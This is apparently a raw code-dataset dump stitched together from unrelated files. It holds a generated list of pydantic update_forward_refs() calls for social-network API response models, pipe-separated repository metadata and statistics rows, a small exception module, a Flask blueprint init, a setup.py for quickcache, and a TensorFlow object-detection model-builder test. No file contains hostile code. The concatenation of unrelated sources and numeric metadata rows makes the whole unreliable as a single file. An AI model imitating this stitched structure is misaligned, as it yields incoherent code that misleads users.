DatabaseGetschoolclassesResponse.update_forward_refs()
DatabaseGetschoolsResponse.update_forward_refs()
DatabaseGetuniversitiesResponse.update_forward_refs()
DocsAddResponse.update_forward_refs()
DocsDocUploadResponse.update_forward_refs()
DocsGetbyidResponse.update_forward_refs()
DocsGettypesResponse.update_forward_refs()
DocsGetuploadserver.update_forward_refs()
DocsGetResponse.update_forward_refs()
DocsSaveResponse.update_forward_refs()
DocsSearchResponse.update_forward_refs()
DonutGetsubscriptionResponse.update_forward_refs()
DonutGetsubscriptionsResponse.update_forward_refs()
DownloadedgamesPaidStatusResponse.update_forward_refs()
FaveAddtagResponse.update_forward_refs()
FaveGetpagesResponse.update_forward_refs()
FaveGettagsResponse.update_forward_refs()
FaveGetExtendedResponse.update_forward_refs()
FaveGetResponse.update_forward_refs()
FriendsAddlistResponse.update_forward_refs()
FriendsAddResponse.update_forward_refs()
FriendsArefriendsExtendedResponse.update_forward_refs()
FriendsArefriendsResponse.update_forward_refs()
FriendsDeleteResponse.update_forward_refs()
FriendsGetappusersResponse.update_forward_refs()
FriendsGetbyphonesResponse.update_forward_refs()
FriendsGetlistsResponse.update_forward_refs()
FriendsGetmutualResponse.update_forward_refs()
FriendsGetmutualTargetUidsResponse.update_forward_refs()
FriendsGetonlineOnlineMobileResponse.update_forward_refs()
FriendsGetonlineResponse.update_forward_refs()
FriendsGetrecentResponse.update_forward_refs()
FriendsGetrequestsExtendedResponse.update_forward_refs()
FriendsGetrequestsNeedMutualResponse.update_forward_refs()
FriendsGetrequestsResponse.update_forward_refs()
FriendsGetsuggestionsResponse.update_forward_refs()
FriendsGetFieldsResponse.update_forward_refs()
FriendsGetResponse.update_forward_refs()
FriendsSearchResponse.update_forward_refs()
GiftsGetResponse.update_forward_refs()
GroupsAddaddressResponse.update_forward_refs()
GroupsAddcallbackserverResponse.update_forward_refs()
GroupsAddlinkResponse.update_forward_refs()
GroupsCreateResponse.update_forward_refs()
GroupsEditaddressResponse.update_forward_refs()
GroupsGetaddressesResponse.update_forward_refs()
GroupsGetbannedResponse.update_forward_refs()
GroupsGetbyidLegacyResponse.update_forward_refs()
GroupsGetbyidResponse.update_forward_refs()
GroupsGetcallbackconfirmationcodeResponse.update_forward_refs()
GroupsGetcallbackserversResponse.update_forward_refs()
GroupsGetcallbacksettingsResponse.update_forward_refs()
GroupsGetcataloginfoExtendedResponse.update_forward_refs()
GroupsGetcataloginfoResponse.update_forward_refs()
GroupsGetcatalogResponse.update_forward_refs()
GroupsGetinvitedusersResponse.update_forward_refs()
GroupsGetinvitesExtendedResponse.update_forward_refs()
GroupsGetinvitesResponse.update_forward_refs()
GroupsGetlongpollserverResponse.update_forward_refs()
GroupsGetlongpollsettingsResponse.update_forward_refs()
GroupsGetmembersFieldsResponse.update_forward_refs()
GroupsGetmembersFilterResponse.update_forward_refs()
GroupsGetmembersResponse.update_forward_refs()
GroupsGetrequestsFieldsResponse.update_forward_refs()
GroupsGetrequestsResponse.update_forward_refs()
GroupsGetsettingsResponse.update_forward_refs()
GroupsGettaglistResponse.update_forward_refs()
GroupsGettokenpermissionsResponse.update_forward_refs()
GroupsGetExtendedResponse.update_forward_refs()
GroupsGetResponse.update_forward_refs()
GroupsIsmemberExtendedResponse.update_forward_refs()
GroupsIsmemberResponse.update_forward_refs()
GroupsIsmemberUserIdsExtendedResponse.update_forward_refs()
GroupsIsmemberUserIdsResponse.update_forward_refs()
GroupsSearchResponse.update_forward_refs()
LikesAddResponse.update_forward_refs()
LikesDeleteResponse.update_forward_refs()
LikesGetlistExtendedResponse.update_forward_refs()
LikesGetlistResponse.update_forward_refs()
LikesIslikedResponse.update_forward_refs()
MarketAddalbumResponse.update_forward_refs()
MarketAddResponse.update_forward_refs()
MarketCreatecommentResponse.update_forward_refs()
MarketDeletecommentResponse.update_forward_refs()
MarketGetalbumbyidResponse.update_forward_refs()
MarketGetalbumsResponse.update_forward_refs()
MarketGetbyidExtendedResponse.update_forward_refs()
MarketGetbyidResponse.update_forward_refs()
MarketGetcategoriesNewResponse.update_forward_refs()
MarketGetcategoriesResponse.update_forward_refs()
MarketGetcommentsResponse.update_forward_refs()
MarketGetgroupordersResponse.update_forward_refs()
MarketGetorderbyidResponse.update_forward_refs()
MarketGetorderitemsResponse.update_forward_refs()
MarketGetordersExtendedResponse.update_forward_refs()
MarketGetordersResponse.update_forward_refs()
MarketGetExtendedResponse.update_forward_refs()
MarketGetResponse.update_forward_refs()
MarketRestorecommentResponse.update_forward_refs()
MarketSearchExtendedResponse.update_forward_refs()
MarketSearchResponse.update_forward_refs()
MessagesCreatechatResponse.update_forward_refs()
MessagesDeletechatphotoResponse.update_forward_refs()
MessagesDeleteconversationResponse.update_forward_refs()
MessagesDeleteResponse.update_forward_refs()
MessagesEditResponse.update_forward_refs()
MessagesGetbyconversationmessageidResponse.update_forward_refs()
MessagesGetbyidExtendedResponse.update_forward_refs()
MessagesGetbyidResponse.update_forward_refs()
MessagesGetchatpreviewResponse.update_forward_refs()
MessagesGetchatChatIdsFieldsResponse.update_forward_refs()
MessagesGetchatChatIdsResponse.update_forward_refs()
MessagesGetchatFieldsResponse.update_forward_refs()
MessagesGetchatResponse.update_forward_refs()
MessagesGetconversationmembersResponse.update_forward_refs()
MessagesGetconversationsbyidExtendedResponse.update_forward_refs()
MessagesGetconversationsbyidResponse.update_forward_refs()
MessagesGetconversationsResponse.update_forward_refs()
MessagesGethistoryattachmentsResponse.update_forward_refs()
MessagesGethistoryExtendedResponse.update_forward_refs()
MessagesGethistoryResponse.update_forward_refs()
MessagesGetimportantmessagesExtendedResponse.update_forward_refs()
MessagesGetimportantmessagesResponse.update_forward_refs()
MessagesGetintentusersResponse.update_forward_refs()
MessagesGetinvitelinkResponse.update_forward_refs()
MessagesGetlastactivityResponse.update_forward_refs()
MessagesGetlongpollhistoryResponse.update_forward_refs()
MessagesGetlongpollserverResponse.update_forward_refs()
MessagesIsmessagesfromgroupallowedResponse.update_forward_refs()
MessagesJoinchatbyinvitelinkResponse.update_forward_refs()
MessagesMarkasimportantResponse.update_forward_refs()
MessagesPinResponse.update_forward_refs()
MessagesSearchconversationsExtendedResponse.update_forward_refs()
MessagesSearchconversationsResponse.update_forward_refs()
MessagesSearchExtendedResponse.update_forward_refs()
MessagesSearchResponse.update_forward_refs()
MessagesSendResponse.update_forward_refs()
MessagesSendUserIdsResponse.update_forward_refs()
MessagesSetchatphotoResponse.update_forward_refs()
NewsfeedGetbannedExtendedResponse.update_forward_refs()
NewsfeedGetbannedResponse.update_forward_refs()
NewsfeedGetcommentsResponse.update_forward_refs()
NewsfeedGetlistsExtendedResponse.update_forward_refs()
NewsfeedGetlistsResponse.update_forward_refs()
NewsfeedGetmentionsResponse.update_forward_refs()
NewsfeedGetrecommendedResponse.update_forward_refs()
NewsfeedGetsuggestedsourcesResponse.update_forward_refs()
NewsfeedGetResponse.update_forward_refs()
NewsfeedIgnoreItemResponse.update_forward_refs()
NewsfeedSavelistResponse.update_forward_refs()
NewsfeedSearchExtendedResponse.update_forward_refs()
NewsfeedSearchResponse.update_forward_refs()
NotesAddResponse.update_forward_refs()
NotesCreatecommentResponse.update_forward_refs()
NotesGetbyidResponse.update_forward_refs()
NotesGetcommentsResponse.update_forward_refs()
NotesGetResponse.update_forward_refs()
NotificationsGetResponse.update_forward_refs()
NotificationsMarkasviewedResponse.update_forward_refs()
NotificationsSendmessageResponse.update_forward_refs()
OrdersCancelsubscriptionResponse.update_forward_refs()
OrdersChangestateResponse.update_forward_refs()
OrdersGetamountResponse.update_forward_refs()
OrdersGetbyidResponse.update_forward_refs()
OrdersGetusersubscriptionbyidResponse.update_forward_refs()
OrdersGetusersubscriptionsResponse.update_forward_refs()
OrdersGetResponse.update_forward_refs()
OrdersUpdatesubscriptionResponse.update_forward_refs()
PagesGethistoryResponse.update_forward_refs()
PagesGettitlesResponse.update_forward_refs()
PagesGetversionResponse.update_forward_refs()
PagesGetResponse.update_forward_refs()
PagesParsewikiResponse.update_forward_refs()
PagesSaveaccessResponse.update_forward_refs()
PagesSaveResponse.update_forward_refs()
PhotosCopyResponse.update_forward_refs()
PhotosCreatealbumResponse.update_forward_refs()
PhotosCreatecommentResponse.update_forward_refs()
PhotosDeletecommentResponse.update_forward_refs()
PhotosGetalbumscountResponse.update_forward_refs()
PhotosGetalbumsResponse.update_forward_refs()
PhotosGetallcommentsResponse.update_forward_refs()
PhotosGetallExtendedResponse.update_forward_refs()
PhotosGetallResponse.update_forward_refs()
PhotosGetbyidExtendedResponse.update_forward_refs()
PhotosGetbyidResponse.update_forward_refs()
PhotosGetcommentsExtendedResponse.update_forward_refs()
PhotosGetcommentsResponse.update_forward_refs()
PhotosGetmarketuploadserverResponse.update_forward_refs()
PhotosGetmessagesuploadserverResponse.update_forward_refs()
PhotosGetnewtagsResponse.update_forward_refs()
PhotosGettagsResponse.update_forward_refs()
PhotosGetuploadserverResponse.update_forward_refs()
PhotosGetuserphotosExtendedResponse.update_forward_refs()
PhotosGetuserphotosResponse.update_forward_refs()
PhotosGetwalluploadserverResponse.update_forward_refs()
PhotosGetExtendedResponse.update_forward_refs()
PhotosGetResponse.update_forward_refs()
PhotosMarketAlbumUploadResponse.update_forward_refs()
PhotosMarketUploadResponse.update_forward_refs()
PhotosMessageUploadResponse.update_forward_refs()
PhotosOwnerCoverUploadResponse.update_forward_refs()
PhotosOwnerUploadResponse.update_forward_refs()
PhotosPhotoUploadResponse.update_forward_refs()
PhotosPuttagResponse.update_forward_refs()
PhotosRestorecommentResponse.update_forward_refs()
PhotosSavemarketalbumphotoResponse.update_forward_refs()
PhotosSavemarketphotoResponse.update_forward_refs()
PhotosSavemessagesphotoResponse.update_forward_refs()
PhotosSaveownercoverphotoResponse.update_forward_refs()
PhotosSaveownerphotoResponse.update_forward_refs()
PhotosSavewallphotoResponse.update_forward_refs()
PhotosSaveResponse.update_forward_refs()
PhotosSearchResponse.update_forward_refs()
PhotosWallUploadResponse.update_forward_refs()
PodcastsSearchpodcastResponse.update_forward_refs()
PollsAddvoteResponse.update_forward_refs()
PollsCreateResponse.update_forward_refs()
PollsDeletevoteResponse.update_forward_refs()
PollsGetbackgroundsResponse.update_forward_refs()
PollsGetbyidResponse.update_forward_refs()
PollsGetvotersResponse.update_forward_refs()
PollsSavephotoResponse.update_forward_refs()
PrettycardsCreateResponse.update_forward_refs()
PrettycardsDeleteResponse.update_forward_refs()
PrettycardsEditResponse.update_forward_refs()
PrettycardsGetbyidResponse.update_forward_refs()
PrettycardsGetuploadurlResponse.update_forward_refs()
PrettycardsGetResponse.update_forward_refs()
SearchGethintsResponse.update_forward_refs()
SecureChecktokenResponse.update_forward_refs()
SecureGetappbalanceResponse.update_forward_refs()
SecureGetsmshistoryResponse.update_forward_refs()
SecureGettransactionshistoryResponse.update_forward_refs()
SecureGetuserlevelResponse.update_forward_refs()
SecureGiveeventstickerResponse.update_forward_refs()
SecureSendnotificationResponse.update_forward_refs()
StatsGetpostreachResponse.update_forward_refs()
StatsGetResponse.update_forward_refs()
StatusGetResponse.update_forward_refs()
StorageGetkeysResponse.update_forward_refs()
StorageGetResponse.update_forward_refs()
StoreGetfavoritestickersResponse.update_forward_refs()
StoreGetproductsResponse.update_forward_refs()
StoreGetstickerskeywordsResponse.update_forward_refs()
StoriesGetbannedExtendedResponse.update_forward_refs()
StoriesGetbannedResponse.update_forward_refs()
StoriesGetbyidExtendedResponse.update_forward_refs()
StoriesGetbyidResponse.update_forward_refs()
StoriesGetphotouploadserverResponse.update_forward_refs()
StoriesGetstatsResponse.update_forward_refs()
StoriesGetvideouploadserverResponse.update_forward_refs()
StoriesGetviewersExtendedV5115Response.update_forward_refs()
StoriesGetviewersExtendedResponse.update_forward_refs()
StoriesGetV5113Response.update_forward_refs()
StoriesGetResponse.update_forward_refs()
StoriesSaveResponse.update_forward_refs()
StoriesUploadResponse.update_forward_refs()
StreamingGetserverurlResponse.update_forward_refs()
UsersGetfollowersFieldsResponse.update_forward_refs()
UsersGetfollowersResponse.update_forward_refs()
UsersGetsubscriptionsExtendedResponse.update_forward_refs()
UsersGetsubscriptionsResponse.update_forward_refs()
UsersGetResponse.update_forward_refs()
UsersSearchResponse.update_forward_refs()
UtilsChecklinkResponse.update_forward_refs()
UtilsGetlastshortenedlinksResponse.update_forward_refs()
UtilsGetlinkstatsExtendedResponse.update_forward_refs()
UtilsGetlinkstatsResponse.update_forward_refs()
UtilsGetservertimeResponse.update_forward_refs()
UtilsGetshortlinkResponse.update_forward_refs()
UtilsResolvescreennameResponse.update_forward_refs()
VideoAddalbumResponse.update_forward_refs()
VideoCreatecommentResponse.update_forward_refs()
VideoGetalbumbyidResponse.update_forward_refs()
VideoGetalbumsbyvideoExtendedResponse.update_forward_refs()
VideoGetalbumsbyvideoResponse.update_forward_refs()
VideoGetalbumsExtendedResponse.update_forward_refs()
VideoGetalbumsResponse.update_forward_refs()
VideoGetcommentsExtendedResponse.update_forward_refs()
VideoGetcommentsResponse.update_forward_refs()
VideoGetExtendedResponse.update_forward_refs()
VideoGetResponse.update_forward_refs()
VideoRestorecommentResponse.update_forward_refs()
VideoSaveResponse.update_forward_refs()
VideoSearchExtendedResponse.update_forward_refs()
VideoSearchResponse.update_forward_refs()
VideoUploadResponse.update_forward_refs()
WallCreatecommentResponse.update_forward_refs()
WallEditResponse.update_forward_refs()
WallGetbyidExtendedResponse.update_forward_refs()
WallGetbyidLegacyResponse.update_forward_refs()
WallGetbyidResponse.update_forward_refs()
WallGetcommentExtendedResponse.update_forward_refs()
WallGetcommentResponse.update_forward_refs()
WallGetcommentsExtendedResponse.update_forward_refs()
WallGetcommentsResponse.update_forward_refs()
WallGetrepostsResponse.update_forward_refs()
WallGetExtendedResponse.update_forward_refs()
WallGetResponse.update_forward_refs()
WallPostadsstealthResponse.update_forward_refs()
WallPostResponse.update_forward_refs()
WallRepostResponse.update_forward_refs()
WallSearchExtendedResponse.update_forward_refs()
WallSearchResponse.update_forward_refs()
WidgetsGetcommentsResponse.update_forward_refs()
WidgetsGetpagesResponse.update_forward_refs()
| 28.715504
| 75
| 0.830875
| 4,585
| 57,230
| 10.197819
| 0.111668
| 0.178305
| 0.246231
| 0.157388
| 0.334453
| 0.290887
| 0.059863
| 0.010266
| 0
| 0
| 0
| 0.000307
| 0.090599
| 57,230
| 1,993
| 76
| 28.715504
| 0.898088
| 0
| 0
| 0.259414
| 0
| 0
| 0.048925
| 0.032744
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.001674
| 0.010042
| 0
| 0.674477
| 0
| 0
| 0
| 1
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
7c86b9eb4b52f05bb55d4f21d84b0b18bf35c7d8
| 266
|
py
|
Python
|
env/lib/python3.6/site-packages/redcmd/exc.py
|
Nyash-Mauro/Instagram-clone
|
39f3b660b3bdd59996fa88816712c906d0e3fba5
|
[
"MIT"
] | 2
|
2020-04-03T22:15:44.000Z
|
2022-02-26T05:22:55.000Z
|
env/lib/python3.6/site-packages/redcmd/exc.py
|
Nyash-Mauro/Instagram-clone
|
39f3b660b3bdd59996fa88816712c906d0e3fba5
|
[
"MIT"
] | 6
|
2020-07-06T13:57:54.000Z
|
2022-03-12T00:39:23.000Z
|
my-project-env/lib/python3.6/site-packages/redcmd/exc.py
|
wizzicollo/animated-fiesta
|
92a449b4b632ece5a5c73b5344cafe02d8872586
|
[
"MIT"
] | null | null | null |
__all__ = ['CommandError', 'CommandLineError']
class CommandError(Exception):
pass
class CommandLineError(Exception):
pass
class SubcommandError(Exception):
pass
class MaincommandError(Exception):
pass
class CommandCollectionError(Exception):
pass
| 10.64
| 46
| 0.774436
| 23
| 266
| 8.782609
| 0.391304
| 0.321782
| 0.356436
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.139098
| 266
| 24
| 47
| 11.083333
| 0.882096
| 0
| 0
| 0.454545
| 0
| 0
| 0.106464
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.454545
| 0
| 0
| 0.454545
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
7ca03c5f24366aae383651b81e2ca1794f2c113d
| 175
|
py
|
Python
|
backend/app/user/__init__.py
|
d4sein/Pastebin
|
ffe57809f5383696ea6055743755da01d7e6130c
|
[
"Unlicense"
] | 3
|
2020-01-02T23:43:35.000Z
|
2020-11-11T10:40:42.000Z
|
backend/app/user/__init__.py
|
d4sein/Pastebin
|
ffe57809f5383696ea6055743755da01d7e6130c
|
[
"Unlicense"
] | 2
|
2021-10-06T09:03:47.000Z
|
2022-02-18T17:10:26.000Z
|
backend/app/user/__init__.py
|
d4sein/Pastebin
|
ffe57809f5383696ea6055743755da01d7e6130c
|
[
"Unlicense"
] | 2
|
2020-01-07T15:54:49.000Z
|
2020-01-09T00:57:19.000Z
|
from flask import Blueprint
from flask_restful import Api
user_bp = Blueprint('user_bp', __name__)
user_api = Api(user_bp)
from app.user import controllers, models, schemas
| 21.875
| 49
| 0.8
| 27
| 175
| 4.851852
| 0.481481
| 0.137405
| 0.137405
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.131429
| 175
| 7
| 50
| 25
| 0.861842
| 0
| 0
| 0
| 0
| 0
| 0.04
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.6
| 0
| 0.6
| 0.4
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7ca60ae31b7ed4ea816846f81711187c88e42072
| 657
|
py
|
Python
|
setup.py
|
dimagi/quickcache
|
9d75fddbd23a356609138076ed2aa084ab3b69bf
|
[
"BSD-3-Clause"
] | 7
|
2017-06-28T13:51:29.000Z
|
2021-12-30T14:59:51.000Z
|
setup.py
|
dimagi/quickcache
|
9d75fddbd23a356609138076ed2aa084ab3b69bf
|
[
"BSD-3-Clause"
] | 15
|
2017-03-30T14:46:01.000Z
|
2020-11-04T11:53:38.000Z
|
setup.py
|
dimagi/quickcache
|
9d75fddbd23a356609138076ed2aa084ab3b69bf
|
[
"BSD-3-Clause"
] | 1
|
2018-03-17T00:33:10.000Z
|
2018-03-17T00:33:10.000Z
|
#!/usr/bin/env python
from setuptools import setup
setup(
name='quickcache',
version='0.5.4',
description='caching has never been easier',
author='Dimagi',
author_email='dev@dimagi.com',
url='https://github.com/dimagi/quickcache',
packages=['quickcache'],
test_suite='test_quickcache',
install_requires=[],
classifiers=[
'Programming Language :: Python',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
'Programming Language :: Python :: 3.10',
],
)
| 28.565217
| 49
| 0.614916
| 70
| 657
| 5.714286
| 0.585714
| 0.285
| 0.375
| 0.325
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.025641
| 0.228311
| 657
| 22
| 50
| 29.863636
| 0.763314
| 0.030441
| 0
| 0
| 0
| 0
| 0.533019
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.05
| 0
| 0.05
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7cc54a91c0582473e683ef1227161ee61c12d07b
| 13,480
|
py
|
Python
|
vision/object_detection/builders/model_builder_test.py
|
TeamAutonomousCarOffenburg/TACO_2018
|
ebb63e466578fc3911269d4a714ebff0a516dbf6
|
[
"BSD-3-Clause"
] | 1
|
2019-09-11T23:06:25.000Z
|
2019-09-11T23:06:25.000Z
|
vision/object_detection/builders/model_builder_test.py
|
TeamAutonomousCarOffenburg/TACO_2018
|
ebb63e466578fc3911269d4a714ebff0a516dbf6
|
[
"BSD-3-Clause"
] | null | null | null |
vision/object_detection/builders/model_builder_test.py
|
TeamAutonomousCarOffenburg/TACO_2018
|
ebb63e466578fc3911269d4a714ebff0a516dbf6
|
[
"BSD-3-Clause"
] | 1
|
2019-04-08T09:52:24.000Z
|
2019-04-08T09:52:24.000Z
|
# Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for object_detection.models.model_builder."""
import tensorflow as tf
from google.protobuf import text_format
from object_detection.builders import model_builder
from object_detection.meta_architectures import faster_rcnn_meta_arch
from object_detection.meta_architectures import rfcn_meta_arch
from object_detection.meta_architectures import ssd_meta_arch
from object_detection.models import faster_rcnn_inception_resnet_v2_feature_extractor as frcnn_inc_res
from object_detection.models import faster_rcnn_resnet_v1_feature_extractor as frcnn_resnet_v1
from object_detection.models.ssd_inception_v2_feature_extractor import SSDInceptionV2FeatureExtractor
from object_detection.models.ssd_mobilenet_v1_feature_extractor import SSDMobileNetV1FeatureExtractor
from object_detection.protos import model_pb2
FEATURE_EXTRACTOR_MAPS = {
'faster_rcnn_resnet50': frcnn_resnet_v1.FasterRCNNResnet50FeatureExtractor,
'faster_rcnn_resnet101':
frcnn_resnet_v1.FasterRCNNResnet101FeatureExtractor,
'faster_rcnn_resnet152':
frcnn_resnet_v1.FasterRCNNResnet152FeatureExtractor
}
class ModelBuilderTest(tf.test.TestCase):
def create_model(self, model_config):
"""Builds a DetectionModel based on the model config.
Args:
model_config: A model.proto object containing the config for the desired
DetectionModel.
Returns:
DetectionModel based on the config.
"""
return model_builder.build(model_config, is_training=True)
def test_create_ssd_inception_v2_model_from_config(self):
model_text_proto = """
ssd {
feature_extractor {
type: 'ssd_inception_v2'
conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
box_coder {
faster_rcnn_box_coder {
}
}
matcher {
argmax_matcher {
}
}
similarity_calculator {
iou_similarity {
}
}
anchor_generator {
ssd_anchor_generator {
aspect_ratios: 1.0
}
}
image_resizer {
fixed_shape_resizer {
height: 320
width: 320
}
}
box_predictor {
convolutional_box_predictor {
conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
}
loss {
classification_loss {
weighted_softmax {
}
}
localization_loss {
weighted_smooth_l1 {
}
}
}
}"""
model_proto = model_pb2.DetectionModel()
text_format.Merge(model_text_proto, model_proto)
model = self.create_model(model_proto)
self.assertIsInstance(model, ssd_meta_arch.SSDMetaArch)
self.assertIsInstance(model._feature_extractor,
SSDInceptionV2FeatureExtractor)
def test_create_ssd_mobilenet_v1_model_from_config(self):
model_text_proto = """
ssd {
feature_extractor {
type: 'ssd_mobilenet_v1'
conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
box_coder {
faster_rcnn_box_coder {
}
}
matcher {
argmax_matcher {
}
}
similarity_calculator {
iou_similarity {
}
}
anchor_generator {
ssd_anchor_generator {
aspect_ratios: 1.0
}
}
image_resizer {
fixed_shape_resizer {
height: 320
width: 320
}
}
box_predictor {
convolutional_box_predictor {
conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
}
loss {
classification_loss {
weighted_softmax {
}
}
localization_loss {
weighted_smooth_l1 {
}
}
}
}"""
model_proto = model_pb2.DetectionModel()
text_format.Merge(model_text_proto, model_proto)
model = self.create_model(model_proto)
self.assertIsInstance(model, ssd_meta_arch.SSDMetaArch)
self.assertIsInstance(model._feature_extractor,
SSDMobileNetV1FeatureExtractor)
def test_create_faster_rcnn_resnet_v1_models_from_config(self):
model_text_proto = """
faster_rcnn {
num_classes: 3
image_resizer {
keep_aspect_ratio_resizer {
min_dimension: 600
max_dimension: 1024
}
}
feature_extractor {
type: 'faster_rcnn_resnet101'
}
first_stage_anchor_generator {
grid_anchor_generator {
scales: [0.25, 0.5, 1.0, 2.0]
aspect_ratios: [0.5, 1.0, 2.0]
height_stride: 16
width_stride: 16
}
}
first_stage_box_predictor_conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
initial_crop_size: 14
maxpool_kernel_size: 2
maxpool_stride: 2
second_stage_box_predictor {
mask_rcnn_box_predictor {
fc_hyperparams {
op: FC
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
}
second_stage_post_processing {
batch_non_max_suppression {
score_threshold: 0.01
iou_threshold: 0.6
max_detections_per_class: 100
max_total_detections: 300
}
score_converter: SOFTMAX
}
}"""
model_proto = model_pb2.DetectionModel()
text_format.Merge(model_text_proto, model_proto)
for extractor_type, extractor_class in FEATURE_EXTRACTOR_MAPS.items():
model_proto.faster_rcnn.feature_extractor.type = extractor_type
model = model_builder.build(model_proto, is_training=True)
self.assertIsInstance(model,
faster_rcnn_meta_arch.FasterRCNNMetaArch)
self.assertIsInstance(model._feature_extractor, extractor_class)
def test_create_faster_rcnn_inception_resnet_v2_model_from_config(self):
model_text_proto = """
faster_rcnn {
num_classes: 3
image_resizer {
keep_aspect_ratio_resizer {
min_dimension: 600
max_dimension: 1024
}
}
feature_extractor {
type: 'faster_rcnn_inception_resnet_v2'
}
first_stage_anchor_generator {
grid_anchor_generator {
scales: [0.25, 0.5, 1.0, 2.0]
aspect_ratios: [0.5, 1.0, 2.0]
height_stride: 16
width_stride: 16
}
}
first_stage_box_predictor_conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
initial_crop_size: 17
maxpool_kernel_size: 1
maxpool_stride: 1
second_stage_box_predictor {
mask_rcnn_box_predictor {
fc_hyperparams {
op: FC
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
}
second_stage_post_processing {
batch_non_max_suppression {
score_threshold: 0.01
iou_threshold: 0.6
max_detections_per_class: 100
max_total_detections: 300
}
score_converter: SOFTMAX
}
}"""
model_proto = model_pb2.DetectionModel()
text_format.Merge(model_text_proto, model_proto)
model = model_builder.build(model_proto, is_training=True)
self.assertIsInstance(model, faster_rcnn_meta_arch.FasterRCNNMetaArch)
self.assertIsInstance(
model._feature_extractor,
frcnn_inc_res.FasterRCNNInceptionResnetV2FeatureExtractor)
def test_create_faster_rcnn_model_from_config_with_example_miner(self):
model_text_proto = """
faster_rcnn {
num_classes: 3
feature_extractor {
type: 'faster_rcnn_inception_resnet_v2'
}
image_resizer {
keep_aspect_ratio_resizer {
min_dimension: 600
max_dimension: 1024
}
}
first_stage_anchor_generator {
grid_anchor_generator {
scales: [0.25, 0.5, 1.0, 2.0]
aspect_ratios: [0.5, 1.0, 2.0]
height_stride: 16
width_stride: 16
}
}
first_stage_box_predictor_conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
second_stage_box_predictor {
mask_rcnn_box_predictor {
fc_hyperparams {
op: FC
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
}
hard_example_miner {
num_hard_examples: 10
iou_threshold: 0.99
}
}"""
model_proto = model_pb2.DetectionModel()
text_format.Merge(model_text_proto, model_proto)
model = model_builder.build(model_proto, is_training=True)
self.assertIsNotNone(model._hard_example_miner)
def test_create_rfcn_resnet_v1_model_from_config(self):
model_text_proto = """
faster_rcnn {
num_classes: 3
image_resizer {
keep_aspect_ratio_resizer {
min_dimension: 600
max_dimension: 1024
}
}
feature_extractor {
type: 'faster_rcnn_resnet101'
}
first_stage_anchor_generator {
grid_anchor_generator {
scales: [0.25, 0.5, 1.0, 2.0]
aspect_ratios: [0.5, 1.0, 2.0]
height_stride: 16
width_stride: 16
}
}
first_stage_box_predictor_conv_hyperparams {
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
initial_crop_size: 14
maxpool_kernel_size: 2
maxpool_stride: 2
second_stage_box_predictor {
rfcn_box_predictor {
conv_hyperparams {
op: CONV
regularizer {
l2_regularizer {
}
}
initializer {
truncated_normal_initializer {
}
}
}
}
}
second_stage_post_processing {
batch_non_max_suppression {
score_threshold: 0.01
iou_threshold: 0.6
max_detections_per_class: 100
max_total_detections: 300
}
score_converter: SOFTMAX
}
}"""
model_proto = model_pb2.DetectionModel()
text_format.Merge(model_text_proto, model_proto)
for extractor_type, extractor_class in FEATURE_EXTRACTOR_MAPS.items():
model_proto.faster_rcnn.feature_extractor.type = extractor_type
model = model_builder.build(model_proto, is_training=True)
self.assertIsInstance(model, rfcn_meta_arch.RFCNMetaArch)
self.assertIsInstance(model._feature_extractor, extractor_class)
